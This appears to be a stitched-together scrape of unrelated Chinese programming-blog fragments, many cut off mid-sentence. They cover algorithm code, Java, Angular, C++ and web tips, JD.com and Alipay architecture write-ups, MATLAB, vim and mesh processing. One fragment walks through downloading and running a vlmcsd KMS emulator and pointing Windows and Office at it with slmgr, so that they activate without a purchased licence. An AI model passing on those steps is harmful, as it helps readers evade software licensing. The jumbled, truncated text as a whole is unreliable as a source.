【输入样例】 4 0 4 9 21 4 0 8 17 9 8 0 16 21 17 16 0 【输出样例】 28 #include<iostream> #include<cstdio> #include<string.h> #include<algorithm> #include<fstream> using namespace std; const int MAXN=105;//最大点数 const int MAXM=10000;//最大边数 int F[MAXN];//并查集使用 struct Edge { int u,v,w; } edge[MAXM]; //储存边的信息,包括起点/终点/权值 int tol;//边数,加边前赋值为0 void addedge(int u,int v,int w) { edge[tol].u=u; edge[tol].v=v; edge[tol++].w=w; } bool cmp(Edge a,Edge b)//排序函数,边按照权值从小到大排序 { return a.
递归实现折半查找 折半查找顾明思议,就是一半一半的查找,不过前提必须是一个有序的序列,这里我用了整型数组。
int binsearch(int a[], int key, int low, int high)
a[] :要进行查找的数组
key:要进行查找的数值
low:最小下标
high:最大下标
参数:函数传入4个参数
返回值:找到要查找的值返回对应的下标,未找到返回-1
运行环境: Visual studio 2013
因为运行环境的不同代码可能存在一些编译不通过。
在Visual studio 2013 中需要在scanf语句后加下划线s否则会编译不过
所以代码中我写的是 scanf_s("%d", &i);
不过查找算法是通用的
核心思想:
当key值小于数组的中间位置的数值时,就在中间向左边的小数组中继续查找,若大于数组的中间位置的数值时,就在中间往右边的小数组中继续查找。不过前提,这个数组是由小到大排列的。当然,如果是从大到小排列也不难,就是相反的情况了!
仔细观察,它要在更小的数组中进行查找,一步步深入,这是不是很类似呢?每次都调用同一个函数,只不过数组的大小在缩小,所以我们可以利用递归实现。
不过递归的时候也需要注意,在调用递归函数是一定要加return(这是一个递归出口) 。
下面是一个测试代码(这里我默认数组的值时{1,2,3,4,5,6,7,8,9}):
读者可进行Ctrl + C,Ctrl + V测试,如果有错误,请通知我:
#include <stdio.h> #include <stdlib.h> #include <Windows.h> int binsearch(int a[], int key, int low, int high) { int i = low; int j = high; int mid = (low + high) >> 1; if (i > j) { return -1; } if (key == a[mid]) { return mid; } else if (key > a[mid]) { return binsearch(a, key, mid + 1 , j); } else { return binsearch(a, key, i, mid - 1); } return -1; } int main() { int a[] = { 1,2,3,4,5,6,7,8,9 }; int i; printf("
准备把刚入手的电脑上安装JDK,结果配置好环境变量之后,在cmd上准备验证一下,结果发现爆这个错
顿时烦躁了,虽然JDK这东西安装简单,配置简单,但是真出问题了,还是有点忧伤的。百度了各种解决方式,但都没有真正的解决问题。
这是看到一篇文章,““https://zhidao.baidu.com/question/266154239.html?qbl=relate_question_0””,大概意思是说JDK在安装的时候,会默认生成3个文件夹,此时恍然大悟,自己在安装的时候,手动改了jdk的文件夹名字,所以导致在启动的时候,找不到路径。
如图:
当时自己在安装完成之后才改的文件名,后面加了1.8两个字,所以导致jvm在启动的时候找不到路径。应该在安装的时候,就指定路径名,指定之后就不要在做任何更改。改完之后自己在去启动就成功了。
2019独角兽企业重金招聘Python工程师标准>>> 一、KMS搭建 环境:CentOS、关闭Selinux防火墙、iptables 放行1688端口
1、获取服务并部署 yum install -y wget wget https://github.com/Wind4/vlmcsd/releases/download/svn1112/binaries.tar.gz tar -zxvf binaries.tar.gz cd /root/binaries/Linux/intel/static //进入对应的系统目录,CPU架构目录下;(我这里为Intel CPU架构) ./vlmcsd-x64-musl-static //运行这个脚本启动即可 2、检查服务是否启动 查询脚本是否正常启动:ps -ef |grep vlmcsd-x64-musl-static查看端口启动:netstat -lntp //查看 1688 端口是否启动 二、使用方法 1. 激活 Windows 如果你的Windows是VL版本,那么只要在管理员权限的cmd或者powershell中执行下面两个命令就可以了。
执行完第一个命令后要等弹出提示窗,期间电脑必须联网。
slmgr /skms kms.liyuans.com //kms.liyuans.com可以替换为你VPS的ip地址或者域名
slmgr /ato
如果不是VL版本的,那么需要更换密钥获取你对应版本的KEY,操作如下:
运行以下命令查看系统版本:wmic os get caption
在文末找到对应的 key,在管理员权限的 cmd 或者 powershell 中执行下面命令
slmgr /ipk xxxxx-xxxxx-xxxxx-xxxxx //安装 key
然后跟上面说的一样设置 kms 服务器地址,激活。
2. 激活Office Office 必须是 VOL 版本,否则无法激活,具体下载可以访问http://msdn.itellyou.cn ;激活期间电脑必须联网。
运行管理员权限的 cmd 或者 powershell ,执行下面命令:
1. 安装git
2. VsCode 下设置
"terminal.integrated.shell.windows":"C:\\Program Files\\Git\\bin\\bash.exe" 冒号后面的是 git下面具体的bash地址。 以上只是我的简答配置。 当然也没有必要非要使用git bash。 也可以使用其他的进行替代
创建一个组件 独立模板 ng g c user-list 内联模板 ng g c user-list -it 显示值 插值法
{{}} 绑定值 从数据流向划分为 3 种:
数据源 -> Template {{expression}}[target]=“expression”bind-target=“expression” Template -> 数据源 (target)=“statement”on-target=“statement” Template <-> 数据源 [(target)]=“expression”bindon-target=“expression” 绑定理解的误区
<button [disabled]=“isUnchanged”>Save
这并不是将 isUnchanged 的值绑定到了 button 的 disabled attribute 上,而是设置在 该 DOM 元素的 property disabled 上。
HTML attribute 与 DOM property 的对比
HTML attribute 用来初始化 DOM propertyattribute 一旦设置则不可修改,property 可以修改attribute 可以理解为初始值,property 理解为当前值attribute 与 property 并不是完全对应的 模板绑定是通过 property 和 event 来工作的,而不是 attribte
移动端解决软键盘弹出时底部fixed定位被顶上去的问题 移动端页面的底部菜单栏,通常会使用fixed定位在底部。在安卓手机上经常会出现软键盘弹出时,底部定位被顶上去,下面提供vue和jQuery两种解决办法。
vue.js代码 <!--html部分--> <div class="footer" v-show="hideshow"></div> // js 部分 data(){ return { docmHeight: document.documentElement.clientHeight, //默认屏幕高度 showHeight: document.documentElement.clientHeight, //实时屏幕高度 hideshow:true, //显示或者隐藏footer } }, mounted() { // window.onresize监听页面高度的变化 window.onresize = ()=>{ return(()=>{ this.showHeight = document.body.clientHeight; })() } }, //监听 watch:{ showHeight:function() { if(this.docmHeight > this.showHeight){ this.hideshow=false }else{ this.hideshow=true } } }, jQuery代码 var winHeight = $(window).height(); //获取当前页面高度 $(window).resize(function () { var thisHeight = $(this).height(); if ( winHeight - thisHeight > 140 ) { //键盘弹出 $('.
LM算法原理及其python自定义实现 LM(Levenberg–Marquardt)算法原理LM算法python实现实现步骤:代码:运行结果: LM(Levenberg–Marquardt)算法原理 LM算法作为非线性优化的“标准”方法,算法的数学原理有很多优秀的参考资料。我看过这些参考资料之后,觉得再重新写一遍已经是无力且多余的事情了。我简单说明一下这些参考资料,然后贴上自己的手写笔记。
参考资料:
1.《Methods for non-linear least squares problems》这本书将非线性最小二乘问题的优化方法讲了一大通,非常值得一看。因为LM算法是从Gauss-Newton方法演进来的,而Gauss-Newton方法又是从Newton方法演进过来的,所以追根溯源应该从Newton法开始看起。而比Newton法更简洁的就是最速下降法了,这本书将所有的非线性优化问题讲了个底朝天,聪明人仔细读一读不吃亏。
2.A Brief Description of the Levenberg-Marquardt Algorithm Implemened by levmar
如果说上面那本书是准备好给搞理论看的版本的话,那这篇文章一定就是准备好给工程师看的了,文章对LM算法的实现给出了很好的讲解,工程师读一下,醍醐灌顶就可以写代码了。
3.[blog]原理及C++实现:Levenberg–Marquardt算法学习
4.[blog]原理及matlab实现:Levenberg-Marquardt
5.[blog]另一篇python实现:Python 算例实现Levenberg-Marquardt算法
6.我的笔记,你可以放心略过的部分:)D
LM算法python实现 实现步骤: 在LM算法原理中提到的参考资料提供了一些算法实现的伪代码,但是他们略有不同,主要的不同点是在公式表述以及u、v的更新比率上有小的差异。
我运行过他们的部分代码,发现优化效果也能够快速收敛,并不影响实际效果。
我按照文章A Brief Description of the Levenberg-Marquardt Algorithm Implemened by levmar中的步骤,重新写了python代码,代码实现步骤如下:
代码: 1.我随机产生了100个input_data,设定正确的参数a和b,然后按照我要拟合的公式a×np.exp(b×input_data)加上一些高斯噪声计算出了100个对应的output_data, 作为观察。
2.初始化参数a和b,使之不要与真实值太离谱
3.用LM算法对其优化拟合,画出拟合曲线和迭代误差曲线。
''' #Implement LM algorithm only using basic python #Author:Leo Ma #For csmath2019 assignment4,ZheJiang University #Date:2019.04.28 ''' import numpy as np import matplotlib.pyplot as plt #input data, whose shape is (num_data,1) #data_input=np.
题目:构造函数、析构函数中是否可以调用虚函数?
答案是:不能。原因如下:
构造派生类对象时,首先调用基类构造函数初始化对象的基类部分。在执行基类构造函数时,对象的派生类部分是未初始化的。实际上,此时的对象还不是一个派生类对象。析构派生类对象时,首先撤销/析构他的派生类部分,然后按照与构造顺序的逆序撤销他的基类部分。
因此,在运行构造函数或者析构函数时,对象都是不完整的。为了适应这种不完整,编译器将对象的类型视为在调用构造/析构函数时发生了变换,即:视对象的类型为当前构造函数/析构函数所在的类的类类型。由此造成的结果是:在基类构造函数或者析构函数中,会将派生类对象当做基类类型对象对待。
即如果在构造函数或者析构函数中调用虚函数,运行的都将是为构造函数或者析构函数自身类类型定义的虚函数版本。对象的虚函数表地址在对象的构造和析构过程中会随着部分类的构造和析构而发生变化,这一点应该是编译器实现相关的。
meta标签介绍
meta标签是HTML语言head区域的一个辅助性标签,常用于定义页面的说明,关键字,最后修改的日期和其他的元数据。这些元数据将服务于浏览器,搜索引擎和其他网络服务。
meta标签的组成
meta标签共有两个属性,分别是http-equiv属性和name属性。
name属性
name属性主要是用于描述网页,比如网页的关键词,叙述等。与之对应的属性值为content,content中的内容是对name填入类型的具体描述,便于搜索引擎抓取。
meta标签中name属性语法格式是:
<meta name="参数" content="具体的描述">
其中name属性共有以下几种参数。(A-C为常用属性)
(1) keywords(关键字)
说明:用于告诉搜索引擎,你网页的关键字。举例:
<meta name="keywords" content="PHP中文网">
(2)description(网站内容的描述)
说明:用于告诉搜索引擎,你网站的主要内容。举例:
<meta name="description" content="php中文网提供大量免费、原创、高清的php视频教程">
(3)viewport(移动端的窗口)
说明:这个概念较为复杂,具体的会在下篇博文中讲述。这个属性常用于设计移动端网页。在用bootstrap,AmazeUI等框架时候都有用过viewport。
<meta name="viewport" content="width=device-width, initial-scale=1">
(4) robots(定义搜索引擎爬虫的索引方式)
说明:robots用来告诉爬虫哪些页面需要索引,哪些页面不需要索引。content的参数有all,none,index,noindex,follow,nofollow。默认是all。
<meta name="robots" content="none">
具体参数如下:
1、none : 搜索引擎将忽略此网页,等价于noindex,nofollow。
2、noindex : 搜索引擎不索引此网页。
3、nofollow: 搜索引擎不继续通过此网页的链接索引搜索其它的网页。
4、all : 搜索引擎将索引此网页与继续通过此网页的链接索引,等价于index,follow。
5、index : 搜索引擎索引此网页。
6、follow : 搜索引擎继续通过此网页的链接索引搜索其它的网页。
(5)author(作者)
说明:用于标注网页作者举例:
<meta name="author" content="PHP中文网">
(6) generator(网页制作软件)
说明:用于标明网页是什么软件做的举例: (不知道能不能这样写):
<meta name="generator" content="Sublime Text3">
(7)copyright(版权)
说明:用于标注版权信息举例:
<meta name="copyright" content="
java为什么有些异常throw出去需要在函数头用throws声明,一些就不用。 Excepiton分两类:checked exception、runtime exception;直接继承自Exception就是checked exception,继承自RuntimeException就是runtime的exception。
你可以简单地理解checked exception就是要强制你去处理这个异常(不管你throws多少层,你终归要在某个地方catch它);而runtime exception则没有这个限制,你可以自由选择是否catch。
那些强制异常处理的代码块,必须进行异常处理,否则编译器会提示“Unhandled exception type Exception”错误警告。
举例子:
1、IndexOutOfBoundsException是RuntimeException的一种,方法体内手动throw了一个异常,但是rangeCheckForAdd()定义处不用写 throws……
private void rangeCheckForAdd(int index) {
if (index > size || index < 0)
throw new IndexOutOfBoundsException(outOfBoundsMsg(index));
}
2、
public void getName() throws IOException {
throw new FileNotFoundException(); // checked exception
}
1. 背景 互联网的迅速发展,为电子商务兴起提供了肥沃的土壤。2014 年,中国电子商务市场交易规模达到 13.4 万亿元,同比增长 31.4%。其中,B2B 电子商务市场交易额达到 10 万亿元,同比增长 21.9%。这一连串高速增长的数字背后,不法分子对互联网资产的觊觎,针对电商行业的恶意行为也愈演愈烈,这其中,最典型的就是黄牛抢单囤货和商家恶意刷单。黄牛囤货让广大正常用户失去了商家给予的优惠让利;而商家的刷单刷好评,不仅干扰了用户的合理购物选择,更是搅乱了整个市场秩序。
京东作为国内电商的龙头企业,在今天遭受着严酷的风险威胁。机器注册账号、恶意下单、黄牛抢购、商家刷单等等问题如果不被有效阻止,会给京东和消费者带来难以估量的损失
互联网行业中,通常使用风控系统抵御这些恶意访问。在技术层面上来讲,风控领域已逐渐由传统的“rule-base”(基于规则判断)发展到今天的大数据为基础的实时 + 离线双层识别。Hadoop,Spark 等大数据大集群分布式处理框架的不断发展为风控技术提供了有效的支撑。
2. 什么是“天网” 在此背景下,京东风控部门打造“天网”系统,在经历了多年沉淀后,“天网”目前已全面覆盖京东商城数十个业务节点并有效支撑了京东集团旗下的京东到家及海外购风控相关业务,有效保证了用户利益和京东的业务流程。
“天网“作为京东风控的核心利器,目前搭建了风控专用的基于 spark 的图计算平台,主要分析维度主要包括:用户画像,用户社交关系网络,交易风险行为特性模型。
其系统内部既包含了面向业务的交易订单风控系统、爆品抢购风控系统、商家反刷单系统,在其身后还有存储用户风险信用信息及规则识别引擎的风险信用中心(RCS)系统,专注于打造用户风险画像的用户风险评分等级系统。
下面,我们将从用户可以直接感知的前端业务风控系统和后台支撑系统两部分对天网进行剖析:
3. 前端业务风控系统 1 交易订单风控系统 交易订单风控系统主要致力于控制下单环节的各种恶意行为。该系统根据用户注册手机,收货地址等基本信息结合当前下单行为、历史购买记录等多种维度,对机器刷单、人工批量下单以及异常大额订单等多种非正常订单进行实时判别并实施拦截。
目前该系统针对图书、日用百货、3C 产品、服饰家居等不同类型的商品制定了不同的识别规则,经过多轮的迭代优化,识别准确率已超过 99%。对于系统无法精准判别的嫌疑订单,系统会自动将他们推送到后台风控运营团队进行人工审核,运营团队将根据账户的历史订单信息并结合当前订单,判定是否为恶意订单。从系统自动识别到背后人工识别辅助,能够最大限度地保障订单交易的真实有效性。
2 爆品抢购风控系统 在京东电商平台,每天都会有定期推出的秒杀商品,这些商品多数来自一线品牌商家在京东平台上进行产品首发或是爆品抢购,因此秒杀商品的价格会相对市场价格有很大的优惠力度。
但这同时也给黄牛带来了巨大的利益诱惑,他们会采用批量机器注册账号,机器抢购软件等多种形式来抢购秒杀商品,数量有限的秒杀商品往往在一瞬间被一抢而空,一般消费者却很难享受到秒杀商品的实惠。针对这样的业务场景,秒杀风控系统这把利剑也就顺势而出。
在实际的秒杀场景中,其特点是瞬间流量巨大。即便如此,“爆品抢购风控系统”这把利剑对这种高并发、高流量的机器抢购行为显示出无穷的威力。目前,京东的集群运算能力能够到达每分钟上亿次并发请求处理和毫秒级实时计算的识别引擎能力,在秒杀行为中,可以阻拦 98% 以上的黄牛生成订单,最大限度地为正常用户提供公平的抢购机会。
3 商家反刷单系统 随着电商行业的不断发展,很多不轨商家尝试采用刷单、刷评价的方式来提升自己的搜索排名进而提高自家的商品销量。随着第三方卖家平台在京东的引入,一些商家也试图钻这个空子,我们对此类行为提出了 “零容忍”原则,为了达到这个目标,商家反刷单系统也就应运而生。
商家反刷单系统利用京东自建的大数据平台,从订单、商品、用户、物流等多个维度进行分析,分别计算每个维度下面的不同特征值。通过发现商品的历史价格和订单实际价格的差异、商品 SKU 销量异常、物流配送异常、评价异常、用户购买品类异常等上百个特性, 结合贝叶斯学习、数据挖掘、神经网络等多种智能算法进行精准定位。
而被系统识别到的疑似刷单行为,系统会通过后台离线算法,结合订单和用户的信息调用存储在大数据集市中的数据进行离线的深度挖掘和计算,继续进行识别,让其无所遁形。而对于这些被识别到的刷单行为,商家反刷单系统将直接把关联商家信息告知运营方做出严厉惩罚,以保证消费者良好的用户体验。
前端业务系统发展到今天,已经基本覆盖了交易环节的全流程,从各个维度打击各种侵害消费者利益的恶意行为。
4. 后台支撑系统 天网作为京东的风控系统,每天都在应对不同特性的风险场景。它可能是每分钟数千万的恶意秒杀请求,也可能是遍布全球的黄牛新的刷单手段。天网是如何通过底层系统建设来解决这一个又一个的难题的呢?让我们来看一看天网的两大核心系统:风险信用服务 (RCS) 和风控数据支撑系统(RDSS)。
1 风险信用服务 风险信用服务(RCS)是埋藏在各个业务系统下的风控核心引擎,它既支持动态规则引擎的高效在线识别,又是打通沉淀数据和业务系统的桥梁。它是风控数据层对外提供服务的唯一途径,重要程度和性能压力不言而喻。
1.1 RCS 的服务框架
RCS 作为天网对外提供风控服务的唯一出口,其调用方式依赖于京东自主研发的服务架构框架 JSF,它帮助 RCS 在分布式架构下提供了高效 RPC 调用、高可用的注册中心和完备的容灾特性,同时支持黑白名单、负载均衡、Provider 动态分组、动态切换调用分组等服务治理功能。
面对每分钟千万级别的调用量,RCS 结合 JSF 的负载均衡、动态分组等功能,依据业务特性部署多个分布式集群,按分组提供服务。每个分组都做了跨机房部署,最大程度保障系统的高可用性。
在启动项目时遇到logInvalidHeader 的警告,当然不影响系统的运行,
先说问题来源: 是因为新版tomcat的cookie处理warn比老版严格造成,由tomcat6升级到tomcat8就会有这个问题。
[http-nio-8080-exec-5] org.apache.tomcat.util.http.parser.Cookie.logInvalidHeader A cookie header was received [XX] that contained an invalid cookie. That cookie will be ignored.Note: further occurrences of this error will be logged at DEBUG level.
解决方法:添加LegacyCookieProcessor文件来替代默认的cookie设置。(cookie解析器)
cat /usr/local/apache-tomcat-8.5.12/conf/context.xml <?xml version="1.0" encoding="UTF-8"?> <!-- The contents of this file will be loaded for each web application --> <Context> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> <!-- <CookieProcessor className="org.apache.tomcat.util.http.Rfc6265CookieProcessor" /> --> <CookieProcessor className="org.apache.tomcat.util.http.LegacyCookieProcessor" /> </Context> Rfc6265CookieProcessor这个配置不管用,问题出处:
https://stackoverflow.com/questions/36665320/a-cookie-header-was-received-that-contained-an-invalid-cookie
https://www.cnblogs.com/passedbylove/p/7587142.html#4166573
配置方案LegacyCookieProcessor说明:
事件源对象 event.srcElement.tagName event.srcElement.type 捕获释放 event.srcElement.setCapture(); event.srcElement.releaseCapture(); 事件按键 event.keyCode event.shiftKey event.altKey event.ctrlKey 事件返回值 event.returnValue 鼠标位置 event.x event.y 窗体活动元素 document.activeElement 绑定事件 document.captureEvents(Event.KEYDOWN); 访问窗体元素 document.all("txt").focus(); document.all("txt").select(); 窗体命令 document.execCommand 窗体COOKIE document.cookie 菜单事件 document.oncontextmenu 创建元素 document.createElement("SPAN"); 根据鼠标获得元素: document.elementFromPoint(event.x,event.y).tagName=="TD document.elementFromPoint(event.x,event.y).appendChild(ms) 窗体图片 document.images[索引] 窗体事件绑定 document.οnmοusedοwn=scrollwindow; 元素 document.窗体.elements[索引] 对象绑定事件 document.all.xxx.detachEvent('onclick',a); 插件数目 navigator.plugins 取变量类型 typeof($js_libpath) == "undefined" 下拉框 下拉框.options[索引] 下拉框.options.length 查找对象 document.getElementsByName("r1"); document.getElementById(id); 定时 timer=setInterval('scrollwindow()',delay); clearInterval(timer); UNCODE编码 escape() ,unescape 父对象 obj.parentElement(dhtml) obj.parentNode(dom) 交换表的行 TableID.moveRow(2,1) 替换CSS document.all.csss.href = "a.css"; 并排显示 display:inline 隐藏焦点 hidefocus=true 根据宽度换行 style="
2013 年 5 月,支付宝最后一台小型机下线,去 “IOE” 取得里程碑进展。支付宝(以及后来的蚂蚁金服)走的是一条跟传统金融行业不同的分布式架构之路。要基于普通硬件资源实现金融级的性能和可靠性,有不少难题要解决。应用层是无状态的,借助 SOA 架构还可以比较方便地扩展。而数据层就没那么简单了,蚂蚁金服在探索的过程中,积累了一些有用的数据层架构设计经验,还是非常模式化的,可以分享出来供参考。
传统银行使用的高端硬件资源和商业数据库,单机的性能和稳定性肯定占有绝对的优势。互联网分布式架构,则需要从架构设计上做文章,提高系统整体的并发处理能力和容灾能力,其中容灾能力又主要有两个指标:
RTO,Recovery Time Objective,恢复时间目标。表示能容忍的从故障发生到系统恢复正常运转的时间,这个时间越短,容灾要求越高。
RPO,Recovery Point Objective,数据恢复点目标。表示能容忍故障造成过去多长时间的数据丢失,RPO 为 0 表示不允许数据丢失。
分布式领域 CAP 理论告诉我们,一致性、可用性、分区容忍性三者无法同时满足。我们不要奢望寻找能解决所有问题的万能方案,而应该根据不同的场景作出取舍。虽然业务场景五花八门,但是根据实际经验,往往可以归到有限的几种模式中,处理策略也是相对固定的。
我们抽象一个简化的支付系统模型来帮助理解,为了叙述方便,不一定跟支付宝的实际业务情况完全一致。它采用 SOA 架构,主要划分了交易、账务、用户、运营支撑这几个子系统,各自有各自的数据库。另外还有一个全局的配置库,存放一些会被各处用到的配置数据。
这几个子系统涵盖了几种常见的模式,先简要介绍它们的主要业务:
账务:金融/支付系统中最核心的业务,简化后姑且认为只保存每个账户的余额,主要操作是增减余额。它的特点是要求数据强一致,每一次对余额的增减必须基于一个绝对正确的当前值,否则就会造成资损。
交易:负责记录每笔交易的状态和上下文。在电商系统中,它可能是商品订单;在银行系统中可能是转账流水。交易类的数据有生命周期,可能有创建、付款、发货、确认收货、退款等状态变迁。这些都不重要,重要的是它的业务特点:每一笔交易的创建是独立的,不需要依赖其他交易的数据;推进一笔交易状态的时候,要求这条数据是强一致的,但跟其他交易数据无关。
用户:维护用户的用户名、密码、邮箱、手机等非账务信息,提供注册、登录、查询业务。在执行核心业务的时候,有多处需要读用户的基本信息,关键业务链路对其有读强依赖。
运营支撑:供内部工作人员用的后台系统,包括但不限于工作流、客服等功能。
配置数据:这里是个宽泛的说法,笼统地表示各类变更不频繁,但是在主业务流程中需要频繁读取的数据,例如交易类目、机构代码、汇率。它们实际可能是散在各个业务系统中的,为了方便描述,单独用一个配置数据库来表示。
把数据库按业务模块进行拆分,是典型的垂直扩展思路,突破了单库的能力限制,使得系统可以支撑更多的业务量。当然这也引入了分布式事务的问题,另有专题介绍暂且不表。拆分开后,就方便不同的业务采取不同的架构设计了。
账务系统
与垂直拆分对应的,自然就是水平拆分。分库分表已经是一种非常成熟的数据水平拆分方法。例如可以将账号对 10 取模,将数据分散到 10 个逻辑分表中。这 10 个分表又映射到 10 个物理数据库。分库分表中间件可以屏蔽掉底层部署结构和路由逻辑,应用层仍然像使用普通单库一样写 SQL。
拆分开后,“有数据库出故障”的概率其实是大大增加的。假设其中一个账务库故障了,就意味着有至少 10% 的核心业务受影响了,实际还不止,因为一笔交易涉及双方账号。这种情况怎么办,立即切换到备库?不行的,前面说过账务要求数据强一致,即 RPO=0。数据库的主备复制一般有延时,不能保证数据无丢失。即使用 Oracle+ 共享存储的方式保证不丢数据,回放 Redo Log、检查数据一致性、切换备库,通常要花费数十分钟,足够用户在社交网络炸锅的了。怎么办?早期其实没什么好办法,情愿牺牲一些 RTO,也要保证 RPO。当然可以做一些体验上的优化,例如界面展示余额时,可以使用只读备库,减少用户恐慌,但不允许基于此余额做实际业务,聊胜于无吧。
后来逐渐探索出了一套账务容灾方案,需要业务层参与,还挺复杂的。这个话题足够单独成文,本文先不详细介绍,只说一下基本思路:主备库数据不一致无法避免,但可以想办法锁定有哪些账号的数据是最近刚刚在主库有过变更的,我们没法确定这个变更是否已经同步到备库了,就把这些账户全部加入黑名单,数据库恢复前不允许他们再做业务,避免发生资损。可以采取一些手段,让黑名单范围尽量小,并且确保黑名单以外的账户一定是主备库一致的,实践中可以缩小到几十几百个账户。这样,不可用范围就从库粒度一下子降到账号粒度,不在黑名单中的账户,就可以基于备库余额正常开展业务。
这套基于黑名单的容灾方案一直运行了好几年,效果还不错,缺点就是比较复杂,这是账务类业务本身的特点决定的。直到自研数据库 OceanBase 的诞生,情况有了改观。OceanBase 是基于 Paxos 协议的分布式强一致数据库,对于单节点故障,它提供 RPO=0,RTO<30 秒的容灾能力,致力于从数据库层屏蔽容灾细节,为应用层提供简单的使用方式。
交易系统
交易数据也是非常适合水平拆分的,可以将交易单据号取模,做分库分表。除此之外,根据交易类业务的特点,还有更有意思的玩法。除了正常的交易主库之外,另外再准备一组表结构完全相同的空库,称为 Failover 库(注意不是备库,跟主库没有数据同步关系)。交易系统在创建一笔交易的时候,首先要生成交易单据号,其中有一位叫做弹性位,正常情况下它的值是 1,代表这笔数据应该写入主库。后续根据交易单据号读写该条数据的时候,一看弹性位是 1,就知道到主库找这条数据。
假设 3 号主库突然故障了,这时就需要自动或手动给交易系统推送一个指令,告诉它以后第 3 分片的新数据应该插入 Failover 库。以后生成的第 3 分片的交易单据号,弹性位就是 2,代表 Failover 库,后续读写这条数据,也可以根据这一位自动找到 Failover 库。这时候主库的存量数据是无法修改的,已创建未付款的交易,用户可以放弃,重新创建一笔,就会落到 Failover 库正常处理。已经付款的交易,就暂时不能做发货、确认收货等状态推进了,但这不是关键业务,迟一点做也问题不大。当主备库数据一致性检查通过,主备切换完成,落在主库的老数据又可以继续处理了。这时再推送指令给交易系统:3 号库恢复正常状态,以后新数据落主库。Failover 机制让主业务(创建交易、付款)在很短的时间内恢复可用,放弃非关键业务(存量数据的状态推进),为主备切换争取了时间。分库分表、Failover 的逻辑,都可以由数据访问层封装,业务层并不用感知。
师兄和我讨论了一个问题,就是在matlab中求解偏微分方程,
其中,偏微分方程中有的常数是一直变化的,要求很多次,而不是一个固定的常数求一次就行了。
其中,A1和A2是要求解的因变量,x是自变量,其他为常数
求解微分方程如下:
%定义函数如下 function c = abss(x,A) k=1; % global k; deta = 1; c(1,1) =k*A(2)*exp(-1i*deta*x); c(2,1) =k*A(1)*exp(1i*deta*x); % c = c'; end %注意 函数abss返回的值 必须返回列矢量 %所以c为2行1列,如果为1行2列,则 c = c'; %求解 xx = [1 2]; yy = [1,0]'; d,e = ode45(@abss,xx,yy); 当,我们想让k的值的变化的,求解不同k值下的解,则设定k为全局变量。
而不能在函数内加入k使得k成为变量。
function c = abss(x,A) %k=1; global k; deta = 1; c(1,1) =k*A(2)*exp(-1i*deta*x); c(2,1) =k*A(1)*exp(1i*deta*x); % c = c'; end %求解 xx = [1 2]; yy = [1,0]'; for k = 1:10; [d{k},e{k}] = ode45(@abss,xx,yy); end
STL关联式容器map/set介绍: STL关联式容器map/set相关接口介绍
红黑树的模拟实现 浅析红黑树及其模拟实现
这两篇博客介绍了map/set的相关接口使用和红黑树的模拟实现,现在我们来用一个红黑树封装实现MyMap和MySet,在实现之前先简单解释一下map和set,map和set都是容器,唯一不同的是,map中存储的是一个一个的键值对pair<K,V>,set中存的是一个值,所以在用红黑树实现MyMap和MySet之前我们需要改造红黑树的节点,使他即能存储键值对又能存储一个值。
改造红黑树的节点 原来红黑树的节点
template<class K,class V> struct RBSTreeNode { RBSTreeNode(const pair<K, V>& kv) :_left(nullptr) , _right(nullptr) , _parent(nullptr) , _kv(kv) , _col(RED) {} RBSTreeNode<K, V>* _left; RBSTreeNode<K, V>* _right; RBSTreeNode<K, V>* _parent; pair<K, V> _kv; color _col; }; 改造后红黑树的节点
//改造红黑树的节点,通过Map或Set传过来的模板参数来决定节点中是存value值,还是pair<K,V>值 template<class V> struct RBTreeNode { typedef V ValueType; RBTreeNode(const ValueType& value) :_left(nullptr) , _right(nullptr) , _parent(nullptr) , _value(value) , _col(RED) {} RBTreeNode<ValueType>* _left; RBTreeNode<ValueType>* _right; RBTreeNode<ValueType>* _parent; ValueType _value; color _col; }; 改造红黑树的Insert 需要改变的地方:
一般来说可以把答复信分成三部分, 即List of Actions, Responses to Editor, Responses to Reviewers。第一部分List of Actions的作用是简明扼要的列出所有修改的条目,让编辑和审稿人在第一时间对修改量有个概念,同时它还充当着修改目录的作用,详见下面的例子。剩下 的两部分是分别对编辑和审稿人所做的答复,格式可以一样,按照“意见”-“argue”(如果有的话)-“修改”这样逐条进行。清楚醒目起见,可以用不同 字体分别标出,比如“意见”用italic,“argue”正常字体,“修改”用bold。下面举例说明各部分的写法和格式。
编辑意见:请在修改稿中用双倍行距。
审稿人1:
意见1:置疑文章的创新性,提出相似的工作已经被A和B做过。
意见2:算法表述不明确。
意见3:对图3的图例应 做出解释。
审稿人2:
意见1:图2太小。
意见2:第3页有个错别字。
很显然,根据上面的答复策略,我们准备对除1号审稿人意见1之外的所有意见进行相应改动,而对1.1采取argue为主的策略。答复如下:
List of Actions
LOA1: The revised manuscript is double spaced.
LOA2: A discussion on the novelty of this work and a comparison with A and B have been added in page 3.
LOA3: A paragraph has been added on page 5 to further explain the algorithm ***.
在vim中无法正常显示中文,那么大概率是编码的问题,文件可能和vim终端界面中使用的UTF-8,由于编码的不同,中文出现一堆乱码。
那么需要进行以下考虑:
1,你的linux系统默认支持的语系数据,这与etc/locale.conf有关:
2,你的终端(bash)的语系,与LANG,LC_ALL这几个变量有关。
3,你的文件原本的编码;
4,打开终端的软件,例如在GNOME下面的窗口界面:
事实上,最可能是第三点和第四点。主要这两点的编码一只,你就能狗正确的看到与编辑你的中文文件,否则就是乱码.
一般来说中文编码使用GBK,linux常使用UTF-8来进行中文编码,但是咂中文windows上的软件常常默认使用GBK编码。
可以通过修正语系编码。
$LANG=zh_CN.gb18030 $export LC_ALL=zh_CN.gb18030 然后在终端工具中的【终端】->【设置字符编码】->【中文(简体)】选择,重新用vim查看文件。
Remesh并没有一个严格的定义,简单的讲,Remesh就是从一个输入网格生成另一个网格,并且满足一定的要求。根据网格改动大小,可以分为这么几类:
保持顶点拓扑和几何信息,优化网格连接关系
保持顶点拓扑信息,同时优化顶点几何和网格连接关系
顶点重采样,优化网格连接关系
Remesh对原网格的改动比较大,实际应用中要谨慎使用。尽量使用改动比较小的Remesh方法。
Delaunay三角化
Delaunay三角化,就是点云的一种三角化方法,它具有某些好的性质:
网格中的最小角最大化
任意三角形的外接圆内不含三角形以外的顶点
三角化的网格是点云的凸包
最大化所有三角面片的内切圆的平均值
其它…
带约束的Delaunay三角化
